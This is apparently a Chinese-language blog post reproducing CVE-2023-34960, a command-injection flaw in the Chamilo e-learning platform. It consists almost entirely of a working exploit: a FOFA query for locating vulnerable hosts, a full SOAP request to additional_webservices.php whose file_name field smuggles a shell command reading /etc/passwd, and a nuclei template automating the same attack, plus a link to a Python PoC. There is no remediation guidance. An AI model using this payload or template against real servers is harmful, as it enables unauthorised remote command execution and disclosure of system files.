Chamilo命令执行漏洞（CVE-2023-34960）复现

àì夳堔傛蜴生んèń 2024-05-23 14:15 55阅读 0赞

fofa: body="content=“Chamilo 1”  
请求包：

POST /main/webservices/additional_webservices.php HTTP/2
    Host: www.target.com
    User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1)
    Accept: */*
    Content-Length: 830
    Content-Type: text/xml; charset=utf-8
    
    <SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" xmlns:ns1="{http://ip:port}" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:ns2="http://xml.apache.org/xml-soap" xmlns:SOAP-ENC="http://schemas.xmlsoap.org/soap/encoding/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><SOAP-ENV:Body><ns1:wsConvertPpt><param0 xsi:type="ns2:Map"><item><key xsi:type="xsd:string">file_data</key><value xsi:type="xsd:string"></value></item><item><key xsi:type="xsd:string">file_name</key><value xsi:type="xsd:string">`{}`.pptx'|" |cat /etc/passwd||a #</value></item><item><key xsi:type="xsd:string">service_ppt2lp_size</key><value xsi:type="xsd:string">720x540</value></item></param0></ns1:wsConvertPpt></SOAP-ENV:Body></SOAP-ENV:Envelope>

![在这里插入图片描述][960a48478fbf4f68b0fe3cd7dbab1fb2.png]  
nuclei poc:

id: CVE-2023-34960
    
    info:
      name: Chamilo rce
      author: ab0ne
      severity: high
      description: |
        Chamilo command injection vulnerability, attackers can execute commands through /main/webservices/additional_webservices.php.
      reference:
        - https://github.com/Aituglo/CVE-2023-34960/blob/master/poc.py
      classification:
        cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
        cvss-score: 9.8
        cve-id: CVE-2023-34960
        cwe-id: CWE-77
        epss-score: 0.95016
      metadata:
        max-request: 1
        shodan-query: http.html:"Chamilo"
        fofa-query: body="content=\"Chamilo 1"
        verified: true
      tags: injection,Chamilo,cve,cve2023,rce
    
    requests:
      - raw:
          - |
            POST /main/webservices/additional_webservices.php HTTP/2
            Host: {
        {Hostname}}
            Accept: */*
            Content-Type: text/xml; charset=utf-8
            
            <SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" xmlns:ns1="{
        http://ip:port}" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:ns2="http://xml.apache.org/xml-soap" xmlns:SOAP-ENC="http://schemas.xmlsoap.org/soap/encoding/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><SOAP-ENV:Body><ns1:wsConvertPpt><param0 xsi:type="ns2:Map"><item><key xsi:type="xsd:string">file_data</key><value xsi:type="xsd:string"></value></item><item><key xsi:type="xsd:string">file_name</key><value xsi:type="xsd:string">`{
        }`.pptx'|" |cat /etc/passwd||a #</value></item><item><key xsi:type="xsd:string">service_ppt2lp_size</key><value xsi:type="xsd:string">720x540</value></item></param0></ns1:wsConvertPpt></SOAP-ENV:Body></SOAP-ENV:Envelope>
    
        matchers:
          - type: dsl
            condition: and
            dsl:
              - 'contains((body), "root") && status_code == 200'

![在这里插入图片描述][ed3f3cf92a5743cf95bd7cfc0558f8ca.png]  
python poc:  
https://github.com/Aituglo/CVE-2023-34960/blob/master/poc.py

[960a48478fbf4f68b0fe3cd7dbab1fb2.png]: https://image.dandelioncloud.cn/pgy_files/images/2024/05/23/1d18890a08b44e85b3757a833539f342.png
[ed3f3cf92a5743cf95bd7cfc0558f8ca.png]: https://image.dandelioncloud.cn/pgy_files/images/2024/05/23/34ed93adf675484bbe2d9df033c3a5a3.png